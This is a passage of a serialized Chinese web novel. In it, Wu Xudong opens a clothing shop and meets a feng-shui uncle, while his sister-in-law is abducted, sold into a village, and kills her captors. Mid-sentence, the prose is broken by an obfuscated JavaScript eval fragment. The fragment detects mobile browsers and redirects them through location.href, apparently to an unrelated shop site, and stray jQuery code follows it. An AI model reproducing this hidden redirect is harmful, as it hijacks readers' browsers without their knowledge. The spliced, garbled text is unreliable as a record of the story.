吴旭东一听乐了,原来是做冰箱的,因为生产了一批不合格的冰箱,口碑崩盘了,所以现在已经卖不出去什么货了。 可惜吴旭东手里钱不够,要不然可以直接盘下来,跟老江那个厂子合作。 算了,以后再考虑吧。 两人聊完,陈兴邦惊叹于吴旭东的学识和眼界,愿意退让一步,不跟他大哥争了。 于是第二天,一切手续办妥,吴旭东的服装店,正式进入了装修和进货的环节。 考虑到本地服装厂的货太老土了,他特地去了趟时尚前沿的邻省省会,感受一下时代的潮流。 两天后拉了一货车的新衣服回来。 只等中秋之后装修结束,就可以正式开业了。 * 吴国正一回来,就发现门锁被人换了。 气得他当场扇了吴燕西一个大嘴巴子。 吴燕西也没有辩解,只是默默掏出钥匙,交给了吴国正。 大儿子快死了,吴国正也不好再撵人了,赶紧把老妻接回来,交给吴燕西照顾,再去谈九妹家里,把两个孙女带回家。 今天中秋,老两口跟吴燕西父女三个一起过。 吴国正齐声叹气的。 以往这个时候,就算南南跟北北不回来,起码还是有欢声笑语的。 今年呢,原本以为小儿子回来了,可以过个真正意义上的中秋,结果…… 只剩叹息。 他问吴燕西:“让你打电话给她乡下的亲戚,你打了吗?” “打了,都说没看见她,估计是去投奔外地的亲戚朋友了。”吴燕西到现在都不知道顾蔓蔓为什么要跑。 难道真的是以为他死了? 也太绝情了,连孩子都不要了吗? 顾蔓蔓当然要跑。 她太了解谈九妹了。 这些年,她虽然没有管事的婆婆,却有个比亲婆婆还厉害的姨婆婆。 连她找公公借钱都要管,简直不可理喻。 一旦让谈九妹知道她把吴燕西打得半死不活,一定会想尽一切办法让她坐牢的。 还会撺掇着吴燕西跟她离婚。 毕竟,谈九妹那个继子是法院工作的,对法律的事情门儿清。 她只能跑。 可惜北边的亲戚大多都认识吴家的人,她就算投奔他们,也是被泄露行踪抓回去的多。 只能往西南边境跑去。 她有个姨妈,当年私奔离开了顾家,跟家里人断了联系。 不过,这个姨妈在娘家的时候,跟她妈妈关系不错。 如果她去投奔,多少会给条活路的。 总之,她不想坐牢。 在火车上颠簸了几天,下火车的时候,她不认路,便找几个大叔大妈问问路。 身后下来一个嘴唇边有黑痣,黑痣上长着一根胡须的男人。 男人在火车上时就注意到了她。 一路跟着。 等她沿着别人指的路来到一条小巷子里的时候,忽然后脑一痛,昏死过去。 44. 开业(3) 顾蔓蔓感觉自己快死了。 仿佛被人丢进了一个巨大的簸箕里面,不断高高扬起,再重重摔下。 像极了农村人在扬米去糠,颠得她浑身难受。 拖拉机的声音宛如一种酷刑,针扎一般往脑子里钻。 后脑勺有点凉凉的,火辣辣的刺痛,伸手一摸,都是血。 她挣扎着想要爬起来,才发现自己正躺在一个载满稻糠的车斗上。 因为路况很差,而且刚下过雨,所以拖拉机的速度很慢。 她不知道自己怎么到了这里,但是毫无疑问,她摊上事儿了。 不是没有见过类似的报道,独身女人走在路上,被人打晕,拐卖去了山村。 等警察找到这个女人的时候,往往已经像个牲口一样,牵着半大不小的孩子,抱着小的,身后还跟着几个大的,成了个毫无尊严的山野村妇。 刚下过雨的山村,风里的凉意直往她心里钻。 她忍不住打了个哆嗦。 要逃,必须要逃! 反正开车的男人正跟坑坑洼洼的泥路斗智斗勇,免得车子颠得太狠把稻糠摔下去。 应该注意不了她。 周围又都是泥地和农田,跳下去多半死不了。 她闭上眼,咬咬牙,趁着拖拉机路过一个大水塘的时候,跳了下去。 倾斜的车身给了她缓冲的机会,落地后一个翻滚,便掉进旁边的秧田里,藏了起来。 等那拖拉机回到村里准备卸货的时候,才发现自己花五百块买来的娘们儿不见了。 “见鬼了,明明被人打晕了,她怎么跑的?”精壮矮瘦的汉子说着方言,擦了把脸上的汗水,跟兄弟们解释着什么。 他们家很穷,兄弟五个一个都娶不到老婆。 好不容易遇到了一个凶神恶煞的男人,要卖个便宜女人给他,他当然不能错过良机。 谁让他们家穷呢,能买个便宜女人回来,真是老天开眼了。 可惜跑了。 兄弟们一听,急了。 好端端的娘们儿,怎么能跑了呢? 赶紧找! 手里的活儿也不干了,全家出动,非要把这落跑的五百块钱抓回来。 此时的顾蔓蔓已经慌不择路,跑到了附近的一个村里。 原以为可以找个好心人帮忙,结果两眼再次一黑。 等她再次苏醒过来的时候,院子里一群人正在吵架。 这里是个小地方,哪个村里多了个人大家都知道。 更何况,刚下过雨,一路过来都是脚印子。 拖拉机五兄弟不费吹灰之力就找了过来。 最后愣是贴补了这家一百块,这才结束了争吵,进来逮人。 顾蔓蔓还没来得及喘口气,就被兄弟五个横在肩上扛了回去。 一回去就把她关在了里屋,商量该怎么办。 叽里呱啦的,顾蔓蔓一句也听不懂。 总之,她知道,她落入虎狼窝了,想逃,难如登天。 她做好了挨一顿毒打的准备。 房间门打开的时候,她下意识闭上了眼睛。 恐惧,让她抖如筛糠,咬紧嘴唇,牙缝里漏出委屈的哭泣声。 结果进来的是个赤脚医生,提着医疗箱,耐心地替她处理了伤口。 赤脚医生显然不是本地的,操着一口北方口音的普通话,跟她沟通起来:“别怕,大元他们不会害你的。” “叔,我想回家,帮帮我,求你了。”顾蔓蔓一把抓住赤脚医生泛黄的白大褂。 赤脚医生叹了口气:“姑娘,来了这里是走不出去的,我劝你还是放弃吧。好在大元他们心地善良,会对你好的。来,我给你挂消炎针,天气热啊,你这后脑勺要是不管,一旦发炎化脓就没命了。听我的,起码先把伤养好了再考虑其他。” 顾蔓蔓不死心:“大叔,我求你了,带我逃出去吧,我可以给你钱。” 赤脚医生冷下脸来:“你这个姑娘,怎么不识好歹呢?我倒是好心帮你,你却想害我?赶紧的,给你扎完针我还要去别的人家。” 顾蔓蔓沉默了,缓缓松开了赤脚医生的白大褂。 伸出手,让他扎针。 赤脚医生喊了一嗓子,门外便进来两个男人。 大哥覃大元个头最高,是全家唯一一个一米七以上的。 不过,他跟其他兄弟一样,精瘦黝黑,浑身都是腱子肉。 他扛了个树桩子做的衣帽架进来,给赤脚医生挂吊瓶。 覃二元最矮,也就一米六左右,他从大哥的咯吱窝里猫腰钻进来,在顾蔓蔓床前打开了一张折叠桌。 随后一猫腰又出去了,再进来的时候,桌子上多了一碗热气腾腾的白粥,里面卧着一个鸡蛋,旁边还有一碟子酸萝卜。 覃二元嘴笨,不会讲话,只管抓住顾蔓蔓没扎吊针的手,把筷子塞给她。 覃大元含笑说了句什么,赤脚医生赶紧翻译:“大元叫你别害怕,以后这里就是你自己的家。” 顾蔓蔓一句话也说不出来。 她怎么可能不害怕,真是活见鬼了。 也不知道这五个兄弟到底是谁买她回来的,更不知道谁会成为她所谓的“老公”。 一个个瘦黑瘦黑的,跟地里刚刨出来的红薯一样难看。 就算是百万富翁,她也下不了这个嘴啊。 何况还这么穷。 这闷热又漏风的屋子里,连一件像样的电器都看不到,这可怎么过啊? 忍不住痛哭失声。 到了这个时候,终于意识到了吴燕西的好。 起码白净,帅气,斯文,温柔。 要不是她逼他太狠,他从来不会对她发脾气的。 公公也好,就算她一次又一次借钱不还,也可以在吴家耀武扬威。 现在一切都完了,全完了。 泪水滴滴答答,落入热气蒸腾的白粥里面,化作最苦涩的调味品,难以下咽。 * 吴旭东回家看了下自己爸妈。 老妈还是痴痴傻傻的,连吃饭都要人喂。 他拿了个小马扎,坐在阳台上,一勺一勺往妈妈嘴里送。 吴国正看得鼻子一酸,去厨房给小儿子切盘牛肉。 吴旭东放下勺子:“爸,别麻烦了,我等会去老丈人家里吃。” “你不在家里吃?”吴国正伤心了,今天可是中秋啊。 吴旭东把最后一口喂完,起身往厨房走来:“不了,老丈人等我呢,大舅哥也回来了,正好熟悉熟悉。” 毕竟这个飞行员大舅哥太忙了,他只在王家沟和婚礼上匆匆见过两面。 吴国正叹了口气:“好吧,记得多买点东西过去,别空着两手,不好看。” “放心吧,给他孩子的礼物也准备好了。”吴旭东洗了把手,走了。 全程没跟吴燕西说一句话。 吴燕西碗里的饭菜变得没了滋味。 身后传来关门声,他放下筷子,讪讪道:“看来东东是不想认我这个大哥了,他这么上赶着去周家,跟入赘有什么区别?也不怕别人笑话。” 吴国正蹙眉,冷着脸道:“你闭嘴吧!东东的事不要你管。” 吴燕西冷笑:“是啊,我是个快死的人了,不配管。” “怎么说话呢?别整天把死不死的挂在嘴上。”吴国正虽然不喜欢这个儿子的窝囊样,可是也听不得他张嘴闭嘴就是快死了。 做老子的听着难受。 吴燕西没有再说什么,拿起筷子,趁着还有一口气,多吃点好的吧。 楼下,吴旭东在电梯口遇到了一个人。 没想到冤家路窄,诸葛光的老丈人家也住在这里。 这会儿诸葛光正提着大包小包的礼物,领着余美妮和孩子过来送礼。 情敌相见,分外眼红。 诸葛光故意拦在电梯口,不让他出来。 吴旭东从来不是什么好脾气的人,就这么直愣愣的撞出一条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731718|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路来。 诸葛光踉跄几步,差点摔倒,气得想找他打架。 可惜手里提的东西太多,只好放了句狠话:“姓吴的,今天我不跟你计较,下次就没这好事了!” 吴旭东没理,扬长而去。 老丈人家热火朝天,全家动手,张罗着晚饭。 大舅哥周子杰也会下厨做饭,吴旭东开门进来的时候,他正系着围裙,在厨房秀他的刀工。 细嫩爽滑的豆腐,被他变魔法一样的,切成了一根根细丝儿。 这种做法吴旭东从来没有见过,一时好奇,问道:“大哥,这豆腐还能吃吗?” 下了锅不得变成渣渣了吗? 大嫂娜仁托娅笑着说道:“这是跟咱妈学的,叫什么文思豆腐,烧汤的。” 吴旭东乐了:“这我真不知道,好吃吗?” “好吃啊,你大哥最爱吃这个。”娜仁托娅是蒙古族的,身高一米七,穿着银灰色的职业套裙,妥妥的精英女性。 长得也很有特色,五官大开大合,明媚大气。 不愧是骑马驰骋草原的女人。 说话间,招呼两个孩子过来叫姑爹。 大儿子周希愉今年七岁,长相随妈,将来肯定是个帅小伙。 二女儿周希悦不到四岁,长相随爸,大眼睛翘鼻梁,妥妥的美人胚子。 吴旭东赶紧把带来的玩具拿出来。 希愉比较矜持,只是腼腆的说了声谢谢姑爹。 希悦则热情多了,她很喜欢姑爹送的洋娃娃,转身跑去自己的小房间,抓了一把巧克力,当做回礼。 吴旭东乐不可支,抱着希悦去沙发上看电视聊天。 小女娃娃真是这世间最美好的存在了,一口一个姑爹,奶声奶气的,真叫人喜欢。 晚饭很快好了。 拿起筷子,老丈人告诉他一个好消息:“你正则大哥说了,材料没问题,案子已经在走流程了,不过排期比较紧张,最快也要三个月之后才能开庭,别着急,耐心点。” 吴旭东明白,法院一直很忙的,三个月能开庭算快的了。 随便吃了几口,他便告辞了:“爸,妈,大哥,嫂子,我得走了,不然赶不上最后一班渡船。” 他还得回去陪周子琰。 周子杰赶紧起身:“等等,子琰说想要一个相机,你帮她带过去吧。” “好,多少钱。”吴旭东赶紧掏钱包。 周子杰拿了相机出来,嫌弃地翻了个白眼:“什么钱不钱的,我给我妹妹的,要什么钱。” “就是,一家人什么钱不钱的。”娜仁托娅笑着起身,“小东啊,还有时间,正好让你大哥教教你怎么用,拍几张照片带过去给子琰。” 吴旭东见他们夫妻态度热情,不像是装的,只好把钱包收了起来。 简单学了学操作方式,他把相机放在三脚架上,调到延时拍摄,回到餐桌前,一起拍了张合照。 咔嚓一声,立马就出来了一张照片。 这是拍立得,照片放在背光的地方晾几分钟,照片就能出来了。 索性多拍了几张,大家都可以留一份。 吴旭东回到岛上的时候,周子琰还没有回来。 赶紧做饭,免得她饿肚子。 结果这一等,就等到了夜里十点多。 周子琰以为他睡了,轻手轻脚的去厨房找点吃的。 吃完洗了澡躺下,刚准备合眼,男人身上的烟草味便铺天盖地的席卷过来。 这次吴旭东戴了套。 医生说了,她的病情好转了,有怀孕的可能,还是小心点,别耽误了她明年露脸的机会。 中秋过后,服装店装修妥当。 吴旭东挑了个礼拜天,正式开业。 这样大学生逛街的时候可以顺路进来看看。 周中擎等人带着亲戚朋友过来捧场。 人群中,有个身影格外碍眼。 吴旭东脸色一沉,向那挽着余美妮的诸葛光走去。 45. 灭门(二更) 今天开业,安家来捧场的亲戚很多。 就连周子琰的二姐安小蕾,也从外地特地赶回来了。 这位姑奶奶看着满脸和善,实际上很不好惹。 当初诸葛光跟余美妮传出风言风语,安小蕾二话不说,找上门去,扔了诸葛光一脑袋的臭鸡蛋。 只为了给她妹妹出口恶气。 婚约是他老子死乞白赖打感情牌换来的,又不是周子琰上赶着要跟他牵扯不清的。 移情别恋了不能先把婚约退了? 简直就是个人渣。 所以安小蕾很不客气,连着扔了一个礼拜的臭鸡蛋才罢休。 以至于诸葛光看到她就浑身难受。 那些不好的记忆,像是脱轨的列车,呼啸着向他撞来。 让他的尊严支离破碎。 满脸擦不完的腥臭鸡蛋液,满地拖不干净的黏腻黑色蛋黄和碎蛋壳。 诸葛光见到她就跟耗子见了猫似的,压根没有胆子找吴旭东的麻烦,赶紧拉着余美妮走了。 结果安小蕾还追了出去,一路把他骂到过了马路才回来。 吴旭东什么也没做,就这么眼睁睁看着情敌带着女人狼狈逃窜,忍不住对这个二姨姐刮目相看。 挺好,气势足的女人,做什么都不会吃亏的。 楚劲雄也乐了:“我以为他多大能耐呢,怎么灰溜溜的跟个耗子一样跑了?” 吴旭东不想再讨论这种奇葩,只问道:“拆迁的事怎么样了?” “闹了这么久,可算是定下来了,按照面积补偿,稍微提升了补偿金额,下个礼拜开始打款。我算了算,你可以拿到四十几万。”这事楚劲雄一直在跟进。 他东姐夫要是赚了大钱,肯定不会亏待他的,四舍五入,等于他也赚了大钱了。 吴旭东放心了:“明天去把服装厂定下来,下午你去跑跑二手车市场,买辆货车,尽快把那些积压的衣服处理掉。” “好,预算几万啊?”楚劲雄不怕跑腿,他就是来干这个的,乐呵呵的。 吴旭东算了笔账:“不超过三万吧,前期投入不能太多,稳一点,慢慢来。” “你是不是想留点钱把那个麻将馆盘下来?”楚劲雄猜到了,他这几天也去周围转了转,发现那边位置真的很好,建个汽运站的话,整个东城就彻底活跃起来了。 吴旭东点点头,盘下来吧,地段绝佳。 楚劲雄积极出谋划策:“要不找个人改改风水吧?去去晦气什么的。这些天我转下来,发现这边的人挺迷信的。” “嗯,我问问。”吴旭东对这方面的人才不太了解,转身叫住安小蕾,“二姐,打听个事儿。” 安小蕾刚刚撵跑了诸葛光,像个吃人的老虎,一扭头,却立马川剧变脸,笑着应道:“什么事?你说。” 吴旭东不喜欢绕弯子,开门见山:“附近有没有什么江湖术士,会驱邪摆风水的?” 安小蕾笑了:“子琰没跟你说吗?咱家就有。” “谁啊?”吴旭东真的不知道,周子琰倒是说过安家这边都有哪些亲戚,不过有几个只提了姓名,没说具体做什么的。 他又因为种种事情打岔,没有细问,毕竟没有印象,不熟,就不是很好奇。 安小蕾转身,把老安叫了过来:“妈,八舅最近有消息吗?” “还说呢,我都气死了,子琰跟小东结婚他都没回来,我不想理他!”老安难得生气。 吴旭东不想让丈母娘为难,赶紧劝道:“那算了,我找找别人。” “不用,我倒不信,他这尊大佛我还请不回来了。”老安转身出去,打电话。 吴旭东好奇地看向安小蕾,安小蕾解释道:“前些年破四旧,八荒舅舅不想留在这里连累家里人,就跑香港去了。你结婚的时候,他正好在帮一个倒霉的人家避祸,所以没来。你也别生气,他是有真本事的,专好打抱不平,帮那些有冤的受屈的可怜人。” 原来是这样,吴旭东懂了。 晚上回去问了问周子琰。 周子琰倒是没意见,只是提醒他:“我这个舅舅脾气有点怪,你要是受不了他,直接跟妈说。” “有多怪?”吴旭东很好奇,他这辈子见过的怪人不少,不过他对这个八舅舅素未谋面,想象不出来。 周子琰无法描述,只叮嘱道:“总之,你要是应付不来,要赶紧跟妈说,全家也就只有她和我大舅治得了八舅。” 吴旭东越发好奇了。 不过不急,这位神秘兮兮的八舅,能不能回来还不一定呢。 第二天,吴旭东去服装厂正式签了合同,先付了十万,剩下的等拆迁款到账一次性补全。 下午又去把那家麻将馆盘了下来。 四间门头,产权明确,市场价十来万的店铺,只花了八万就拿下来了。 不过他手上没这么多钱了,先给了一万定金。 吴旭东算算手里剩下的钱,刚好够买一辆二手货车。 不免有些想笑。 这钱啊,来得快去得也快,希望他的决策没有失误吧。 * 小山村,覃家。 顾蔓蔓来了一个多礼拜了,一直没有人碰她,她还挺意外的。 这不对劲啊。 按理说,这种穷困的人家,一旦弄个女人回来,不应该猴急猴急的吗? 她甚至担心自己会被轮流侵犯,还找了把剪刀,做好了反抗的准备。 结果这兄弟几个,客气得简直不像是真人。 日子一天天过去,他们一个比一个沉得住气,除了在隔壁堂屋里叽里呱啦的争吵,就再也听不到什么动静了。 每天好吃好喝的伺候着,那赤脚医生也是天天准时给她挂水。 越是这样,她越是煎熬。 这就跟杀人犯等着宣判一样难受。 会不会判死刑? 哪天死刑? 怎么死? 给个痛快吧,耗下去简直受罪。 可惜这五个兄弟说的话她听不懂,要不然,她还能想想办法拉拢一个,为她所用。 这样日子久了,有了感情,总能找到机会挑唆他们,趁乱逃走。 就在她胡思乱想的时候,赤脚医生来了。 他这几天很少说话,今天却特地提醒道:“你的伤已经好得差不多了,今晚好好休息一晚,明天跟大元结婚。” “结婚?大叔,我有老公孩子的,我是已婚的呀。大叔,求你了,救救我吧,我不想被关在这里,我会报答你的,我——”顾蔓蔓还想再说点什么,赤脚医生却已经扎完针出去了。 到了外面,还特地用方言说了些什么,顾蔓蔓一句没听懂。 她只知道,等她挂完水,覃大元进来帮她拔针的时候,看她的眼神里多了几分嫌弃和不满。 顾蔓蔓瑟缩着脖子,看了眼床头的枕头。 她藏了把剪刀在下面,他要是敢乱来,她就跟他拼命。 结果覃大元只是叹了口气,提上空了的药水瓶子出去了。 房门再次被打开的时候,兄弟五个全都涌了进来。 一个个全都打量着她,不知道在争吵些什么。 顾蔓蔓越想越是害怕,只能把手藏在枕头下,随时准备反抗。 结果他们吵完又出去了。 很快,又来了一个上了年纪的女人,让她起来走了两圈,又到处摸了摸,扭头便出去了。 这种挑选货物的眼神让她绝望。 她想逃,可是逃去哪里? 五个兄弟,追她不是轻而易举的吗? 就在她忐忑不安的时候,又进来一个四五十岁的男人,打量了她一番,脸上露出满意的笑。 一口大黄牙里居然还闪着金光,估计是个暴发户。 不差钱。 不差钱的男人,一口气数了三十张一百块的钞票,交给了覃大元。 覃大元收了钱,准备把顾蔓蔓转卖给这个一身狐臭的男人。 吓得顾蔓蔓赶紧扑倒在地上,抱住了覃大元的腿。 如果非要二选一,她宁愿选覃家的兄弟,起码这十来天里,他们对她是真的客气,应该是有点人性的。 而面前这个又臭又老的男人,她光是看一眼都觉得恶心反胃。 她哭得很大声,可惜覃大元不为所动。 她只好主动站起来,抱住了覃大元的脖子,哀求的目光,滚烫的泪水,软玉温香的女人身体…… 覃大元动摇了。 最后还是叹了口气,把钱还给了暴发户,留下了顾蔓蔓。 这天之后,覃大元便有老婆了。 虽然不太满意这是个结过婚生过孩子的女人,起码是个姿色不错的婆娘。 他自己选的,怎么办呢? 四个兄弟却意见很大,说好了把这个女人卖个高价钱换几个便宜女人回来的呢? 现在好了,大哥一个人吃起了独食,兄弟们还光着呢。 不免一个个怨气冲天。 那刚刚停止了两天的争吵,再次响彻不大的三间茅草房。 顾蔓蔓瞧着机会来了,便趁着覃大元白天下地干活的时候,勾引了闷声不响的覃二元。 人是覃二元买来的,享福的却是覃大元,覃二元本来就心生不满。 现在体会到了女人的绝妙滋味,他心中的怨恨便化作了滔天巨浪。 这天夜里,他捂着耳朵,尝试屏蔽覃大元房间里的声音,可是顾蔓蔓已经吃准了他的心思,故意弄出动静,勾起他的怒火。 终于,覃二元忍不了了,拿起菜刀冲进了房间里…… 覃大元死了,牡丹花下死,做鬼却不风流。 他的灵魂脱离了身体,他怨,他恨,他着了这个女人的道儿,年纪轻轻就魂断香闺。 他向拘魂的鬼差控诉,鬼差却面无表情,道:“买卖妇女,罪无可恕,死有应得。” “可是这个女人,故意挑唆我兄弟反目!”覃大元怨气冲天。 鬼差不跟他废话,一把勾住他的脖子,上路。 一阵风吹过,鬼差的叹息却只有覃大元可以听见。 他说:“那是她的罪孽,自然会有她的因果,不耽误你走你的黄泉路。” 覃二元悄悄埋了大哥,装作无事发生。 结果几天后,覃二元也死了。 同一个鬼差,同样的判词。 又过了几天,覃三元也没了。 覃四元也没耽误太久,紧随其后。 剩下覃五元,握着鲜血淋漓的刀,抱着血泊里的女人狗啃,却不想,女人早已藏了杀心,纤纤玉手探到枕头下面,一剪刀扎穿了覃五元的心脏。 赤脚医生带着警察赶来的时候,覃五元已经凉了。 刺眼的手电灯光照在顾蔓蔓的眼睛上,她伸出鲜血染红的手,挡在了眼睛上面,发出困兽般的哀嚎:“是他们逼我的,是他们逼我的!我没有罪,我没有罪!” 警察一拥而上,将她抓捕。 银色的手铐,殷红的鲜血,狼狈的女人。 这一幕,终将萦绕在小山村众人的心头,久久不散。 * 吴旭东等了半个多月。 拆迁款一到位,便把服装厂和麻将馆的尾款补上,变更了工商信息和产权人,摇身一变,成了名副其实的老板了。 这段时间,陈兴邦开着货车跑了几次乡下,全程都有楚劲雄跟着,把那些积压的老式服装全部清理了。 “比成本价高了一点点,赚个来回的油钱。”楚劲雄回来后满面红光。 做买卖就是这样的,不管钱多钱少,货卖出去了,那就有成就感。 吴旭东拍拍他的肩膀:“来,小陈一起,简单开个会。” 人员很快到齐,五个年轻男人,个个踌躇满志, “我准备花点钱,请两个艺术院校的大学生过来,帮忙设计新衣服。”吴旭东直接抛出自己的想法,“新时代了,做服装不能蛮干,我认为最重要的就是做出品牌效应,做出独一无二的时髦款式。当然,如果卖得好,肯定会有人跟风,所以咱们要从布料和工艺上做到尽善尽美,让别人学不来我们的细节和品质。” “好,我没意见。不过本地没有专门的服装院校,我准备去南边看看。”楚劲雄不是傻子,卖货的时候也在打听相关的行业信息。 吴旭东非常赞赏:“没错,以后要是做得好了,咱们可以跟本地的院校合作,院校丰富了专业课的设置,厂里也可以有源源不断的人才输送,双赢。” “好的,我明天就出发。”楚劲雄把任务接下,不过他还是有点好奇,“对了,既然厂子正式接手过来了,咱们几个是不是要把职位明确一下。” “这不简单吗?咱东哥是厂长,你是他兄弟,又是大学生,那就是副厂长呗。至于我们三个,随便弄个什么主任当当就行了。”柯有钱还是习惯喊东哥,不改了。 谢昌隆今天也没有去看店,一早就被叫过来了。 他想了想,支持柯有钱的提议,这样就行了,反正刚起步,没必要太过正式。 吴旭东想了想,还是觉得应该分工明确一点。 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吴旭东算了笔账:“你没有纠缠,所以服装店很快就开业了,这段时间多赚的钱也不少,我总得表示一下。放心,他们三个也有提成,我不会亏待任何人。但是我丑话说在前头,要是有人生了二心,或者背地里捣乱,我不会给他第二次机会。” “放心吧老板,我不是那样的人。”陈兴邦拍拍胸脯,信誓旦旦。 开完会回到老丈人家里蹭饭,吴旭东推开门,发现今天的气氛有点不对劲。 好奇喊了一声,才发现人都在阳台上呢。 丈母娘单手叉腰,另一只手提留着一个中年男人的耳朵,不客气的训斥着什么,见到他来,只好停下。 安八荒原本弯着腰,免得累着他六姐,现在来了晚辈,赶紧挺直了腰杆子。 揉了揉耳朵,他扭头打量着吴旭东。 眯着眼睛,手里捏着罗盘,神叨叨的。 吴旭东盯着这个一身道袍的江湖术士,好奇道:“爸,妈,这位是?” “这是你八舅安八荒。”老安忍住怒火,心平气和的介绍,“他回来帮你看看风水,不用跟他客气,婚礼都没来,一点长辈的样子都没有!” 安八荒没有反驳。 他确实理亏。 可是这不能怪他,他是个言而有信的人,答应了要帮人家的忙,总不能不管人家死活吧。 当然,他还是要补偿一下这个外甥女婿的。 便送了一把桃木剑,一块桃木护心镜给他。 “别怨我,当初算到你要出事,可是你爸妈已经调走了,我拍了电报过去,估计他们没收到,连个回信都没有。”安八荒最讨厌别人质疑他,所以他还带了电报存根。 吴旭东接过来看了眼,邮戳日期都有,不像是假的,起身道:“我爸没提过这事,我打电话问问。” 电话那头,吴国正一头雾水:“没收到啊,我要是收到了能不警惕吗?东东啊,你问问他,你今后是不是顺风顺水啊?顺便问问你大哥能不能逢凶化吉啊?” “知道了。”吴旭东挂了电话。 不知道哪个环节出了问题,他爸妈确实没有收到电报。 他现在比较好奇的是:“八舅能不能说说,我今后会怎么样?” “不能看了,折寿。”安八荒拒绝,“当初为你的事,我已经折了三年寿命。” 加上别人求他办的事,零零总总,折了三十年。 要不是他不断帮助那些遭受冤屈的人,用功德抵消泄露天机的业报,他连四十都活不到。 好容易坚持到了现在,他可不想再折寿了。 吴旭东恍然:“怪不得子琰找了我十七年。” 也难怪,她几乎没有提这个八舅舅的事情,一定是怕他知道了又觉得歉疚。 安八荒理直气壮:“没错,我只能告诉她你在北边,再多就不能说了,我也怕死的,你不好怪我。” 吴旭东异常认真:“我没有怪你,你们不欠我的。” “没错,不欠你的。所以你别问了,我不能说。总之,收好我给你的东西,以后要是有了孩子,我会单独再给孩子准备点东西。”安八荒看在自己姐姐的面子上,没有任性。 还能正常说几句话。 等他跟着吴旭东到了麻将馆,老毛病便犯了。 黑着脸,凶神恶煞的,很不客气的质问吴旭东:“你买这个做什么?不怕厉鬼找你麻烦?为了赚钱连命都不要了?” ……吴旭东沉默了,难道真有厉鬼这种东西? 安八荒冷哼一声,骂道:“真是欠了你的,为你折寿三年还不够,还要帮你驱鬼。你要不是存了投机发财的心,我就是帮你也不会有什么影响。可你是为了等日后拆迁赚钱才故意低价买入,我要是帮你,我又得折寿。” “那算了,八舅你回去吧,我回头把房子卖了,不赚这钱就是了。”吴旭东不喜欢欠人的,话说得这么难听,怪让人难受的。 安八荒却不肯走:“回什么回?我说了,没参加你们的婚礼,我要补偿你们。你听好了,这房子会让你发大财,但是今后不许再做这种事了,很危险。” 吴旭东还是想拒绝,却被安八荒撵了出去,嘭的一下反锁了大门。 里面传出他不客气的声音:“三天后再来。这两天不管谁找你,记得带上桃木剑和护心镜。” 吴旭东将信将疑的回去了。 他把这事说给周子琰听,周子琰笑了:“八舅总是这样,嘴硬心软。这次帮你驱鬼,少不得又要去帮那些倒霉蛋赚功德抵消业报。哎,总之,他让你怎么做你就怎么做,他不会害你的。” 吴旭东只好专门缝制了一个黄丝绒的布兜子,把桃木剑装进去,塞在公文包里,随身携带,免得被人看到,追问个不停。 护心镜也戴上了,幸亏他习惯把扣子扣到顶,没人好奇。 第二天早上刚到厂里,便接到了吴国正的电话。 “不好了东东,你嫂子杀了人被抓了,云南那边的警察通知家属过去一趟。我得照顾你妈,脱不开身,你陪你大哥去一下吧,他得了绝症,爸爸不放心他一个人……” 吴旭东挑眉,下意识捏了捏脖子上的护心镜。 怪不得要送他这个东西,搞不好,顾蔓蔓惹了厉鬼了。 这个八舅,神了。 就是可怜了吴燕西,本来就身患绝症,又没有这样的宝贝护身,可别被吓死了。 算了,老头子一把年纪,哭哭啼啼的他也不忍心。 应道:“知道了,我让大舅哥看看机票,你叫大哥先收拾行李。” 46. 兄亡 吴旭东第一次单独跟吴燕西出行,全程一句话都没说,只是沉默地帮忙提着行李。 飞机起飞,他闭目养神。 恍惚间梦到了小时候。 他总是隐约记得,那时候的大哥非常温柔,非常爱笑。 为什么会变成现在这样呢? 是因为结婚组建了自己的家庭,所以对弟弟妹妹就变得自私起来了吗? 还是说…… 还是说发生了什么变故,让这个大哥失去了儿时的纯真? 他不明白。 算了,不想了。 快睡着时,飞机遇上乱流,一阵颠簸,把他颠醒了。 一旁的吴燕西吓得脸色煞白,整个人贴在椅背上,冷汗直下。 等到颠簸结束,他居然笑了。 擦了把汗,吴燕西打趣道:“东东,你不怕吗?你说,要是飞机摔下去,咱俩一起死了,咱爸会不会伤心过度也死了,给咱俩黄泉路上做个伴儿?” 吴旭东猛地侧身,看向喃喃自语的吴燕西,眼中杀气四溢。 什么样的神经病才能说出这样的话? 吴旭东简直匪夷所思。 可惜自己做了军属,凡事需要克制,要不然,真想一拳头锤晕这个神经病算了。 后槽牙磨了几个来回,终于碾压着蹦出一句话:“我真怀疑,你到底是不是爸妈的亲生儿子。” 如果是亲生的,怎么可能说出这么诛心的话。 妈妈那么温柔善良,爸爸也对他不薄啊,在这个年代,能被儿媳妇坑走将近二十万,想都不敢想。 还不是吴燕西帮着闹走的二十万? 更何况,爸爸还为了吴燕西结婚抵押了两个姐姐的古董。 这个长子的份量,可见一斑。 结果这个长子,居然巴望着爸爸去死? 这不对劲。 吴旭东已经不止是怀疑了,他甚至有几分笃定。 这个大哥绝对有问题,绝对的! 吴燕西避开他质疑的目光,笑着捏了捏自己的鼻子:“瞪我做什么?开个玩笑。怎么,你想杀了我不成?” “你最好没做亏心事,否则我不会放过你!”吴旭东不想再废话,继续闭上眼睛,理一理这些乱七八糟的事情。 大哥大他十一岁,他被拐的时候,大哥已经十六岁了。 十六岁的人,性格早就成型了,也已经过了十三四岁的叛逆期,只要生活里没有什么特别的变故发生,他日后的性格一定会延续十六岁的底色。 而不是现在这样,判若两人。 那么,到底发生了什么呢? 吴旭东坐直了身体,重新审视这个大哥。 人还是斯斯文文的,五官也跟记忆里模糊的影子对得上,只是更成熟了,更斯文了,尤其是架上眼镜后,知识分子的气质扑面而来。 一旦笑起来,很容易跟记忆里那个温柔爱笑的大哥重叠。 然而,现实很讽刺。 面前的这个,是个锦绣枕套里塞满黑心棉的玩意儿。 吴旭东下意识捏了捏脖子上的护心镜,总觉得八舅给这个不是给着玩的。 